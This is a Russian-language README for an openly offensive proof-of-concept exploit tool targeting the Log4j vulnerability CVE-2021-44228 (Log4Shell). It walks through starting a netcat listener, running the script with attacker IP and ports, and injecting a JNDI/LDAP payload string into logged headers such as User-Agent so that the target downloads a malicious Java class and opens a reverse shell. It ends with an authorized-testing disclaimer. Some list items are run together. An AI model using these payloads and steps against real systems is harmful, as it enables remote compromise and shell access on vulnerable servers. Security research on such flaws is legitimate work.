
Эксплойт-концепт (Proof-of-Concept) для уязвимости CVE-2021-44228.
Эксплойт proof-of-concept для уязвимости Log4j (CVE-2021-44228), также известной как Log4Shell. Этот инструмент генерирует вредоносный Java-класс, запускает LDAP-сервер перенаправления и предоставляет полезную нагрузку по HTTP, позволяя удалённому атакующему выполнять произвольные команды на уязвимой цели.
poc.py:
jdk1.8.0_20/ – копия Oracle JDK 1.8.0_20 (содержит bin/javac и bin/java). Если она отсутствует, скрипт попытается использовать системные команды javac и java.target/marshalsec-0.0.3-SNAPSHOT-all.jar – JAR-файл marshalsec, используемый для запуска LDAP-сервера.jdk1.8.0_20 и JAR-файл marshalsec, как описано выше.pip install -r requirements.txt
Запустите скрипт с помощью Python:
python3 poc.py [OPTIONS]
Запустите слушатель netcat на вашей атакующей машине (замените 9001 на выбранный вами порт):
nc -lvnp 9001
Запустите эксплойт:
python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
Если опустить --userip, скрипт автоматически использует основной IPv4-адрес вашей машины.
Скрипт выведет строку полезной нагрузки для внедрения в уязвимую цель, например:
${jndi:ldap://192.168.1.10:1389/a}
Внедрите эту строку в любое поле ввода или HTTP-заголовок, который заносится в журнал уязвимым экземпляром Log4j (например, User-Agent, X-Forwarded-For и т.д.). Цель подключится к LDAP-серверу, загрузит вредоносный класс с HTTP-сервера и выполнит reverse shell.
В вашем слушателе netcat должно появиться shell-подключение.
Exploit.java, содержащий код, который открывает reverse shell на userip:lport.javac).webport для размещения скомпилированного Exploit.class./bin/sh и предназначена для Unix-подобных целевых систем. Для целей на Windows потребуется изменить команду внутри Exploit.java.webport и lport), и что цель может связаться с вашей машиной.Скрипт автоматически удаляет Exploit.java и Exploit.class при завершении работы (как при обычном завершении, так и после KeyboardInterrupt). Если вам нужно сохранить файлы для отладки, закомментируйте блок finally в poc.py.
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим программным обеспечением.
| Аргумент | Тип | По умолчанию | Описание |
|---|
--userip | строка | автоопределяемый IPv4 | IP-адрес, к которому будут привязываться и который будут объявлять LDAP- и HTTP-серверы. Он должен быть доступен с целевой машины. |
--webport | целое число | 8000 | Порт HTTP-сервера, обслуживающего скомпилированный Exploit.class. |
--lport | целое число | 9001 | Порт, на котором ваш слушатель netcat ожидает reverse shell. Полезная нагрузка подключится обратно к userip:lport. |